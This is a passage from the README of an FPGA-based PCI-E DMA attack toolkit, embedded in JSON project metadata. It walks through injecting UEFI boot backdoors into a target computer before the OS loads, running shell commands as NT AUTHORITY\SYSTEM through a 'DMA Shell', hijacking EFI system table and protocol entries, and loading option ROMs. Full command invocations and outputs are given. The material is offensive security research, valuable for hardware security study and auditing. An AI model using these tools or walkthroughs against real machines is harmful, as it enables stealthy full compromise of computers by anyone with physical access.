bytes\nDmaBackdoorHv.c(350) : new_BlLdrLoadImage(): Path = \"\\WINDOWS\\system32\\kdstub.dll\"\nDmaBackdoorHv.c(350) : new_BlLdrLoadImage(): Path = \"\\WINDOWS\\system32\\hv.exe\"\nDmaBackdoorHv.c(560) : new_ExitBootServices() called\n```\n\nTo get more information about Hyper-V Backdoor use cases and features [check its README file](https://github.com/Cr4sh/s6_pcie_microblaze/blob/master/python/payloads/DmaBackdoorHv/README.MD) with detailed information.\n\nPython programs `uefi_backdoor_boot.py` and `uefi_backdoor_boot_shell.py` are used to inject Boot Backdoor into the target system boot sequence. Boot Backdoor allows to run arbitrary user mode or kernel mode code under the Windows operating system and its payload called DMA Shell allows to execute console commands and transfer the files. To deploy Boot Backdoor with DMA Shell using pre-boot DMA attack you have to perform the same steps as described above but using `uefi_backdoor_boot_shell.py` program:\n\n```\n$ ./uefi_backdoor_boot_shell.py --command \"whoami\"\n[+] 44544 bytes of payload image read\n[+] 21299 bytes of payload image after the compression\n[+] Using UEFI system table hook injection method\n[+] Waiting for PCI-E link...\n[!] PCI-E endpoint is not configured by root complex yet\n[!] PCI-E endpoint is not configured by root complex yet\n[!] PCI-E endpoint is not configured by root complex yet\n[!] Bad MRd TLP completion received\n[!] Bad MRd TLP completion received\n[+] PCI-E link with target is up\n[+] Device address is 01:00.0\n[+] Looking for DXE driver PE image...\n[+] PE image is at 0x7a070000\n[+] EFI_SYSTEM_TABLE is at 0x7a03e018\n[+] EFI_BOOT_SERVICES is at 0x7a38fa30\n[+] EFI_BOOT_SERVICES.LocateProtocol() address is 0x7a3987b4\nBackdoor image size is 0x14847\nBackdoor entry RVA is 0x908\nPlanting DXE stage driver at 0xc0000...\nHooking LocateProtocol(): 0x7a3987b4 -\u003e 0x000c0908\n1.759079 sec.\n[+] DXE driver was planted, waiting for backdoor init...\n[+] DXE driver was executed, you can read its debug messages by running this program with --debug-output option\n[+] Waiting for backdoor load...\n[+] Winload image was loaded\n\n              Image base: 0x0086a000\n OslArchTransferToKernel: 0x009c4b20\n\n[+] DONE\n[+] Waiting for payload init...\n[+] Payload shared memory region is at 0x00200000\n[+] Executing command: whoami\n[+] Process exit code: 0x00000000\n\nnt authority\\system\n```\n\nNow, when Boot Backdoor with its payload was sucessfully loaded, you can run `uefi_backdoor_boot_shell.py` with `--attach` option to communicate with currently running instance of DMA Shell:\n\n```\n$ ./uefi_backdoor_boot_shell.py --attach --command \"hostname\"\n[+] PCI-E link with target is up\n[+] Device address is 01:00.0\n[+] Payload shared memory region is at 0x00200000\n[+] Executing command: hostname\n[+] Process exit code: 0x00000000\n\nDESKTOP-E52IJJ8\n```\n\nAlso, you can use `--debug-output` option to get debug messages of Boot Backdoor UEFI DXE driver and print them into the stdout:\n\n```\n$ ./uefi_backdoor_boot_shell.py --debug-output\n[+] PCI-E link with target is up\n[+] Debug output buffer address is 0x79da2000\n\nDmaBackdoorBoot.c(630) : ******************************\nDmaBackdoorBoot.c(631) :\nDmaBackdoorBoot.c(632) :   Boot backdoor loaded!\nDmaBackdoorBoot.c(633) :\nDmaBackdoorBoot.c(634) : ******************************\nDmaBackdoorBoot.c(668) : Image address is 0xc0000\nDmaBackdoorBoot.c(711) : Payload is not present\nDmaBackdoorBoot.c(276) : BackdoorImageRealocate(): image size = 0xf500\nDmaBackdoorBoot.c(722) : Resident code base address is 0x79d8c000\nDmaBackdoorBoot.c(430) : Protocol notify handler is at 0x79d8c364\nDmaBackdoorBoot.c(455) : BackdoorEntryResident()\nDmaBackdoorBoot.c(464) : ExitBootServices() hook was set, handler = 0x79d8ded7\nDmaBackdoorBoot.c(358) : new_ExitBootServices() called\nWinload.c(419) : WinloadHook(): winload image is at 0x86a000\nWinload.c(507) : winload!HvlpBelow1MbPage is at 0xa037c8\nWinload.c(508) : winload!HvlpBelow1MbPageAllocated is at 0xa037b9\nWinload.c(587) : winload!OslArchTransferToKernel() is at 0x9c4b20\n```\n\nTo get more information about Boot Backdoor use cases and features [check its README file](https://github.com/Cr4sh/s6_pcie_microblaze/blob/master/python/payloads/DmaBackdoorBoot/README.MD) with detailed information.\n\nPython programs `uefi_backdoor_simple.py`, `uefi_backdoor_hv.py`, `uefi_backdoor_boot.py` and `uefi_backdoor_boot_shell.py` supports two different ways to pass execution to the injected UEFI DXE driver image:\n\n * `EFI_SYSTEM_TABLE` hijack \u0026minus; scan system memory down from physical address `0xf0000000` to `0` with `0x10000` bytes step in order to find EFI system table by its signature and patch `LocateProtocol()` function address. To override memory scan options you can use `SCAN_FROM` and `SCAN_STEP` environment variables.\n\n * `PROTOCOL_ENTRY` hijack \u0026minus; scan system memory up from physical address `0x76000000` to `0xa0000000` with `0x1000` bytes step to find `EFI_CPU_IO2_PROTOCOL` structure of [CPU I/O 2 protocol](https://github.com/tianocore/edk2/blob/master/MdePkg/Include/Protocol/CpuIo2.h) and patch one of its functions. To override memory scan options you can use `SCAN_FROM`, `SCAN_TO` and `SCAN_STEP` environment variables.\n\nBy default all four programs are using EFI system table hijack method, to use protocol entry method instead you can pass `--inj-prot` command line option to the appropriate program. To reduce amount of time required to perform the attack you can specify previously found `EFI_SYSTEM_TABLE` structure address using `--system-table` option and `PROTOCOL_ENTRY` structure address using `--prot-entry` option. Also, all four Python programs has `--test` command line option, this option is used to do the memory scan and find required structures addresses without performing an actual hijack of the execution flow. So, during the first boot you can run desired program with `--test` option to find needed address and during the second boot you can run the same program with `--system-table` or `--prot-entry` option to specify that address.  \n\nDuring development of malicious code for pre-boot DMA attacks it's important to have an information about execution environment of UEFI DXE phase. To collect such information you can turn the target computer on, enter into the BIOS setup menu or boot options menu to pause loading of the operating system and run `uefi.py` program without arguments. This program will scan physical memory of the target computer and print various information about existing UEFI DXE protocols and interfaces, loaded UEFI drivers, UEFI descriptor tables and ACPI tables. Here you can see [an example](https://gist.github.com/Cr4sh/206daf97b57c050392415616a30c3ca9) of information obtained by `uefi.py` program while using [AAEON UP Squared](https://www.aaeon.com/en/p/iot-gateway-maker-boards-up-squared) mini-PC as attack target.\n\n\n## Option ROM attacks\n\nProvided bitstream can emulate PCI-E option ROM stored in onboard linear flash memory of SP605. Although modern platforms [mitigates](https://docs.microsoft.com/en-us/windows-hardware/manufacture/desktop/uefi-validation-option-rom-validation-guidance) option ROM [attacks](https://trmm.net/Thunderstrike), this feature still could be useful for security audit or prototyping purposes.\n\nYou can manage option ROM images using `pcie_rom_ctl.py` Python program.  \nErasing option ROM contents:\n\n```\n$ ./pcie_rom_ctl.py --erase\n[+] Opening PCI-E device...\n[+] Enabling resident mode...\n[+] Erasing option ROM...\n[+] Done\n```\n\nLoading provided UEFI option ROM example into the board:\n\n```\n$ ./pcie_rom_ctl.py --load payloads/DmaBackdoorSimple/DmaBackdoorSimple_X64_10ee_1337.rom\n[+] Opening PCI-E device...\n[+] Enabling resident mode...\n[+] Erasing option ROM...\n[+] Loading 5120 bytes of option ROM...\n[+] Done\n```\n\nAlso, there's an option to log option ROM memory access into the debug UART of SP605 board, to enable or disable this option use `--log-on` and `--log-off` parameters of `./pcie_rom_ctl.py` program.\n\nTo verify correct operation of the option ROM support under the Linux you can do the following.  \nFirst, find bus-device-function address of SP605 PCI-E device:\n\n```\n# lspci | grep Xilinx\n01:00.0 Ethernet controller: Xilinx Corporation Device 1337\n```\n\nThen, set enabled bit of the command register so target system will pass to the PCI-E device all of the memory access attempts to the option ROM physical memory rages:\n\n```\n# echo 1 \u003e /sys/bus/pci/devices/0000\\:01\\:00.0/enable\n# echo 1 \u003e /sys/bus/pci/devices/0000\\:01\\:00.0/rom\n```\n\nNow you can dump contents of the previously loaded option ROM with the help of `dd` command and appropriate pseudo-file of sysfs:\n\n```\n# dd if=/sys/bus/pci/devices/0000\\:01\\:00.0/rom | hexdump -Cv\n00000000  55 aa 0b 00 f1 0e 00 00  0b 00 64 86 00 00 00 00  |U.........d.....|\n00000010  00 00 00 00 00 00 60 00  1c 00 00 00 50 43 49 52  |......`.....PCIR|\n00000020  ee 10 37 13 00 00 1c 00  03 00 00 00 0b 00 00 00  |..7.............|\n00000030  03 80 00 00 00 00 00 00  ff ff ff ff ff ff ff ff  |................|\n00000040  ff ff ff ff ff ff ff ff  ff ff ff ff ff ff ff ff  |................|\n00000050  ff ff ff ff ff ff ff ff  ff ff ff ff ff ff ff ff  |................|\n00000060  4d 5a 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |MZ..............|\n00000070  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\n00000080  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\n00000090  00 00 00 00 00 00 00 00  00 00 00 00 b8 00 00 00  |................|\n000000a0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\n000000b0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\n000000c0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\n\n...\n\n```\n\nIn case when `--log-on` option of `pcie_rom_ctl.py` program was specified during the configuration you will see the following messages in the debug UART console of SP605 board while dumping the option ROM:\n\n```\nROM read: size = 2, offset = 0x0\nROM read: size = 2, offset = 0x18\nROM read: size = 4, offset = 0x1C\nROM read: size = 1, offset = 0x31\nROM read: size = 2, offset = 0x2C\nROM read: size = 1, offset = 0x0\nROM read: size = 2, offset = 0x0\nROM read: size = 2, offset = 0x18\nROM read: size = 4, offset = 0x1C\nROM read: size = 1, offset = 0x31\nROM read: size = 2, offset = 0x2C\nROM read: size = 1, offset = 0x1\nROM read: size = 2, offset = 0x0\nROM read: size = 2, offset = 0x18\nROM read: size = 4, offset = 0x1C\nROM read: size = 1, offset = 0x31\nROM read: size = 2, offset = 0x2C\n\n...\n\n```\n\n## Troubleshooting\n\nPCI Express is very complicated high speed bus so there's a lot of things that can go wrong. In case when DMA attack is not working on your setup you can check the following things to determine an exact problem:\n\n* `DS3` LED is on when physical PCI-E link is up and `DS4` is on when root complex had assigned bus-device-function address to our PCI-E endpoint. If `DS3` is off it likely means physical connectivity issue \u0026minus; check your risers, cables, etc. If `DS3` is on but `DS4` is off it means that you had to reboot your attack target or force PCI-E devices rescan on its side. \n\n* `DS5` LED is on during PCI-E bus reset, when it always on it means physical connectivity issue.\n\n* If root complex sends Cpl TLP instead of CplD TLP in reply to memory read request it means that memory access was rejected because of invalid address or IOMMU enforced access checks. Also, typical x86 machine might not reply at all on memory read requests to certain MMIO regions of physical address space. \n\n* If software is receiving inconsistent or invalid TLPs from the root complex in reply to the memory read requests you might try to set a smaller value of `MEM_RD_TLP_LEN` constant in `pcie_lib.py` to split reply data into more smaller chunks. Also it's useful to run the program with `DEBUG_TLP=1` environment variable and check raw TX/RX TLPs dump.\n\n\n## Building project from the source code\n\n1) Install Xilinx ISE 13.4 which comes with your SP605 board and open `s6_pcie_microblaze.xise` project file.\n\n2) Regenerate `s6_pcie_v2_4` and `fifo_generator_v8_4` cores which presents in project hierarchy. \n\n3) Click on `microblaze_i` instance in project hierarchy and run \"Export Hardware Design to SDK With Bitstream\".\n\n4) When build will be completed ISE opens Xilinx Software Development Kit IDE, use `sdk` folder as it's workspace. \n\n5) Create new standalone board support package in your Xilinx SDK project tree, choose lwIP and xilflash libraries in BSP configuration. \n\n6) Import `sdk/srec_bootloader_0` and `sdk/main_0` projects into the project tree and run the build.\n\n7) Run `make bitstream \u0026\u0026 make srec` from Xilinx ISE command prompt to generate needed output files. \n\n\n## Developed by\n\nDmytro Oleksiuk (aka Cr4sh)\n\ncr4sh0@gmail.com\u003cbr/\u003e\nhttp://blog.cr4.sh\u003cbr/\u003e\n[@d_olex](http://twitter.com/d_olex)\u003cbr/\u003e\n\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fcr4sh%2Fs6_pcie_microblaze","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fcr4sh%2Fs6_pcie_microblaze","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fcr4sh%2Fs6_pcie_microblaze/lists"}